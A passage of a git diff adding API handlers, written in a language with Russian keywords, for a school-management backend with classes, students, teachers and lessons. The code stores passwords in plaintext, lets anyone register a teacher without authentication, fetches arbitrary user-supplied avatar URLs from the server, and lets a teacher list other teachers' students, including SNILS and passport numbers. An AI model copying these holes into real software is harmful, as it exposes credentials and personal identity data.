creator_teacher_id = ? + RETURNING id + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вывод.ф("Класс с id = $стр не найден или не принадлежит учителю", ид класса) + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить ученика в клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид ученика = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ученик = картотека.запросить безопасно(` + SELECT id FROM students WHERE id = ? + `, оплошность, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO class_students (class_id, student_id) + VALUES (?, ?) + RETURNING id + `, оплошность, ид класса, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + вернуть хттп.ответ_201() +} + +фн удалить ученика из класса*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид ученика = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ответ = картотека.запросить безопасно(` + DELETE FROM class_students + WHERE class_id = ? AND student_id = ? + RETURNING id + `, оплошность, ид класса, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["GET"], список классов) + маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["POST"], создать клass) + маршрутизатор.добавить маршрут("/api/classes/$", массивы.Строки["DELETE"], удалить клass) + маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["POST"], добавить ученика в клass) + маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["DELETE"], удалить ученика из класса) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/пользователи.tri b/исх/властелины/пользователи/пользователи.tri new file mode 100644 index 0000000..52cd255 --- /dev/null +++ b/исх/властелины/пользователи/пользователи.tri @@ -0,0 +1,84 @@ +модуль пользователи + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн войти*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть картотека = картотека.зайти() + пусть оплошность := "" + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть имя пользователя := данные.получить("имя пользователя").строка() + пусть пароль := данные.получить("пароль").строка() + + пусть пользователь = репозитории.авторизовать пользователя(имя пользователя^, пароль^, оплошность) + + если оплошность # "" { + вывод.ф("$стр\n", оплошность) + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + вернуть хттп.ХттпОтвет{ + туловище: "Рады видеть вас снова :3" + } +} + +фн сменить пароль*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть новый пароль := данные.получить("новый пароль").строка() + + если новый пароль = пусто | новый пароль^ = "" { + вернуть хттп.ответ_422() + } + + картотека.запросить безопасно(` + UPDATE users SET password = ? WHERE id = ? + `, оплошность, новый пароль^, пользователь^.идентификатор + ) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/users/login", массивы.Строки["POST"], войти) + маршрутизатор.добавить маршрут("/api/users/password", массивы.Строки["PUT"], сменить пароль) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/ученики/ученики.tri b/исх/властелины/пользователи/ученики/ученики.tri new file mode 100644 index 0000000..84f62fb --- /dev/null +++ b/исх/властелины/пользователи/ученики/ученики.tri @@ -0,0 +1,381 @@ +модуль ученики + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть имя := данные.получить("имя").строка() + пусть фамилия := данные.получить("фамилия").строка() + пусть отчество := данные.получить("отчество").строка() + пусть пароль := данные.получить("пароль").строка() + пусть повтор пароля := данные.получить("повтор пароля").строка() + + пусть снилс := данные.получить("снилс").строка() + пусть паспорт := данные.получить("паспорт").строка() + + если имя = пусто | фамилия = пусто | отчество = пусто | пароль = пусто | повтор пароля = пусто | снилс = пусто | паспорт = пусто { + вернуть хттп.ответ_400() + } + + если имя^ = "" | фамилия^ = "" | отчество^ = "" | пароль^ = "" | повтор пароля^ = "" | снилс^ = "" | паспорт^ = "" { + вернуть хттп.ответ_400() + } + + если пароль^ # повтор пароля^ { + вернуть хттп.создать ответ( + хттп.ответ_400(), + хттп.ХттпОтвет{ туловище: "Пароли не совпадают." } + ) + } + + пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^) + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO users (first_name, last_name, middle_name, username, password) + VALUES (?, ?, ?, ?, ?) + RETURNING id + `, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число() + + если айди пользователя = пусто { + вернуть хттп.ответ_500() + } + + пусть ученик = картотека.запросить безопасно(` + INSERT INTO students (user_id, mentor_id, snils, passport) + VALUES (?, ?, ?, ?) + RETURNING id + `, оплошность, + айди пользователя^.значение, + учитель^.идентификатор, + снилс^, + паспорт^ + ) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ученик.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор ученика = созданный.получить("id").число() + + если идентификатор ученика = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор ученика^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } }, + джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } }, + джесон.ДжесонКлючЗначение{ ключ: "учитель", значение: джесон.ДжесонЧисло{ значение: учитель^.идентификатор } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } } + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{ туловище: тело } + ) +} + +фн список учеников*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + пусть фильтр по учителю := -1 + пусть параметр учитель = обращение.запрос-в-пути.найти("учитель") + + если параметр учитель # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю) + } иначе если ~админ { + фильтр по учителю := учитель^.идентификатор + } + + если фильтр по учителю = -1 { + вернуть хттп.ответ_400() + } + + пусть найдено = картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.mentor_id = ? + ORDER BY s.id + `, оплошность, фильтр по учителю) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон ученики = джесон.ДжесонМногоЗначений{} + + цикл запись среди найдено.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть снилс = объект.получить("snils").строка() + пусть паспорт = объект.получить("passport").строка() + пусть наставник = объект.получить("mentor_id").число() + пусть имя пользователя = объект.получить("username").строка() + + пусть студент = джесон.ДжесонОбъект{} + студент.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) + студент.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) + студент.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) + студент.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) + студент.вставить("снилс", джесон.ДжесонСтрока{ значение: снилс^ }) + студент.вставить("паспорт", джесон.ДжесонСтрока{ значение: паспорт^ }) + студент.вставить("наставник", джесон.ДжесонЧисло{ значение: наставник^.значение }) + студент.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) + + джесон ученики.значения.добавить(студент) + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "ученики", + значение: джесон ученики + } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: тело } +} + +фн получить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид ученика = параметры[0] + + пусть ученик := джесон.ДжесонМногоЗначений{} + + если админ { + ученик := картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.id = ? + `, оплошность, ид ученика) + } иначе { + ученик := картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.id = ? AND s.mentor_id = ? + `, оплошность, ид ученика, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект = ученик.значения[0](:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть снилс = объект.получить("snils").строка() + пусть паспорт = объект.получить("passport").строка() + пусть наставник = объект.получить("mentor_id").число() + пусть имя пользователя = объект.получить("username").строка() + + если идентификатор = пусто | имя = пусто | фамилия = пусто | отчество = пусто | снилс = пусто | паспорт = пусто | наставник = пусто | имя пользователя = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } }, + джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } }, + джесон.ДжесонКлючЗначение{ ключ: "наставник", значение: джесон.ДжесонЧисло{ значение: наставник^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя^ } } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: тело } +} + +фн удалить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид ученика = параметры[0] + + пусть удален = картотека.запросить безопасно(` + DELETE FROM students WHERE id = ? AND mentor_id = ? + RETURNING id, user_id + `, оплошность, ид ученика, учитель^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(удален.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект = удален.значения[0](:джесон.ДжесонОбъект) + пусть айди пользователя = объект.получить("user_id").число() + + если айди пользователя = пусто { + вернуть хттп.ответ_500() + } + + картотека.запросить безопасно(` + DELETE FROM users WHERE id = ? + `, оплошность, айди пользователя^.значение) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/students", массивы.Строки["POST"], создать) + маршрутизатор.добавить маршрут("/api/students", массивы.Строки["GET"], список учеников) + маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["GET"], получить) + маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["DELETE"], удалить) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/учителя/учителя.tri b/исх/властелины/пользователи/учителя/учителя.tri new file mode 100644 index 0000000..141068a --- /dev/null +++ b/исх/властелины/пользователи/учителя/учителя.tri @@ -0,0 +1,215 @@ +модуль учителя + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть картотека = картотека.зайти() + пусть оплошность := "" + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть имя := данные.получить("имя").строка() + пусть фамилия := данные.получить("фамилия").строка() + пусть отчество := данные.получить("отчество").строка() + пусть образование := данные.получить("образование").строка() + пусть пароль := данные.получить("пароль").строка() + пусть повтор пароля := данные.получить("повтор пароля").строка() + пусть аватар = данные.получить("аватар").строка() + пусть аватар урл := "" + + если имя = пусто | фамилия = пусто | отчество = пусто | образование = пусто | пароль = пусто | повтор пароля = пусто { + вернуть хттп.ответ_400() + } + + если имя^ = "" | фамилия^ = "" | отчество^ = "" | образование^ = "" | пароль^ = "" | повтор пароля^ = "" { + вернуть хттп.ответ_400() + } + + если пароль^ # повтор пароля^ { + вернуть хттп.создать ответ( + хттп.ответ_400(), + хттп.ХттпОтвет{ + туловище: "Пароли не совпадают.", + } + ) + } + + пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^) + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO users (first_name, last_name, middle_name, username, password) + VALUES (?, ?, ?, ?, ?) + RETURNING id + `, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число() + + если айди пользователя = пусто { + авария("неверный ответ от базы данных") + } + + если аватар # пусто & аватар^ # "" { + пусть урл = хттп.парсить урл(аватар^, оплошность) + + если оплошность = "" { + пусть ответ = хттп.послать на три буквы(урл.хост, урл.порт, урл.путь) + пусть размер контента := 0 + + цикл [номер]заглавие среди ответ.заглавия { + если заглавие.имя = "Content-Length" { + пусть № байта := 0 + строка.извлечь цел(заглавие.значение, № байта, размер контента) + прервать + } + } + + если размер контента > 0 & размер контента < 1000000 { + аватар урл := аватар^ + } + } + } + + пусть учитель = картотека.запросить безопасно(` + INSERT INTO teachers (user_id, education, avatar_url) + VALUES (?, ?, ?) + RETURNING id + `, оплошность, айди пользователя^.значение, образование^, аватар урл) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(учитель.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный учитель = учитель.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор учителя = созданный учитель.получить("id").число() + + если идентификатор учителя = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор учителя^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "образование", значение: джесон.ДжесонСтрока{ значение: образование^ } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } } + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{ туловище: тело } + ) +} + +фн список*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если ~админ { + вернуть хттп.ответ_403() + } + + пусть размер страницы := 20 + пусть номер страницы := 1 + + пусть параметр страница = обращение.запрос-в-пути.найти("страница") + если параметр страница # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр страница^.значение, номер байта, номер страницы) + } + + если номер страницы < 1 { + вернуть хттп.ответ_400() + } + + пусть смещение := (номер страницы - 1) * размер страницы + + пусть учителя = картотека.запросить безопасно(` + SELECT t.id, t.user_id, t.education, t.avatar_url, + u.first_name, u.last_name, u.middle_name, u.username + FROM teachers t + JOIN users u ON u.id = t.user_id + ORDER BY t.id + LIMIT ? OFFSET ? + `, оплошность, размер страницы, смещение) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон учителя = джесон.ДжесонМногоЗначений{} + + цикл [номер]запись среди учителя.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть образование = объект.получить("education").строка() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть имя пользователя = объект.получить("username").строка() + + пусть учитель = джесон.ДжесонОбъект{} + если идентификатор # пусто { учитель.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) } + если образование # пусто { учитель.вставить("образование", джесон.ДжесонСтрока{ значение: образование^ }) } + если имя # пусто { учитель.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) } + если фамилия # пусто { учитель.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) } + если отчество # пусто { учитель.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) } + если имя пользователя # пусто { учитель.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) } + + джесон учителя.значения.добавить(учитель) + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "учителя", значение: джесон учителя } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: туловище } +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/users", массивы.Строки["POST"], создать) + маршрутизатор.добавить маршрут("/api/teachers", массивы.Строки["GET"], список) + + вернуть маршрутизатор +} diff --git a/исх/властелины/уроки/уроки.tri b/исх/властелины/уроки/уроки.tri new file mode 100644 index 0000000..b0337c7 --- /dev/null +++ b/исх/властелины/уроки/уроки.tri @@ -0,0 +1,392 @@ +модуль уроки + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн добавить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть дата := данные.получить("дата").строка() + пусть название := данные.получить("название").строка() + пусть домашка := данные.получить("домашнее задание").строка() + + пусть строка даты := "" + + если дата # пусто { + строка даты := дата^ + } иначе { + пусть дата урока поле := данные.получить("дата урока").строка() + + если дата урока поле # пусто { + строка даты := дата урока поле^ + } + } + + пусть строка названия := "" + + если название # пусто { + строка названия := название^ + } иначе { + пусть тема := данные.получить("тема").строка() + + если тема # пусто { + строка названия := тема^ + } + } + + если строка даты = "" | строка названия = "" { + вернуть хттп.ответ_400() + } + + пусть текст домашки := "" + + если домашка # пусто { + текст домашки := домашка^ + } иначе { + пусть поле домашка = данные.получить("домашка").строка() + + если поле домашка # пусто { + текст домашки := поле домашка^ + } + } + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO lessons (class_id, date, title, homework) + VALUES (?, ?, ?, ?) + RETURNING id, class_id, date, title, homework + `, оплошность, ид класса, строка даты, строка названия, текст домашки) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор урока = созданный.получить("id").число()^.значение + пусть идентификатор класса = созданный.получить("class_id").число()^.значение + пусть дата урока = созданный.получить("date").строка()^ + пусть название урока = созданный.получить("title").строка()^ + пусть поле домашки = созданный.получить("homework").строка() + + пусть значение домашки := "" + + если поле домашки # пусто { + значение домашки := поле домашки^ + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор урока}}, + джесон.ДжесонКлючЗначение{ключ: "идентификатор класса", значение: джесон.ДжесонЧисло{значение: идентификатор класса}}, + джесон.ДжесонКлючЗначение{ключ: "дата", значение: джесон.ДжесонСтрока{значение: дата урока}}, + джесон.ДжесонКлючЗначение{ключ: "название", значение: джесон.ДжесонСтрока{значение: название урока}}, + джесон.ДжесонКлючЗначение{ключ: "домашнее задание", значение: джесон.ДжесонСтрока{значение: значение домашки}} + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{туловище: туловище} + ) +} + +фн список уроков*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть 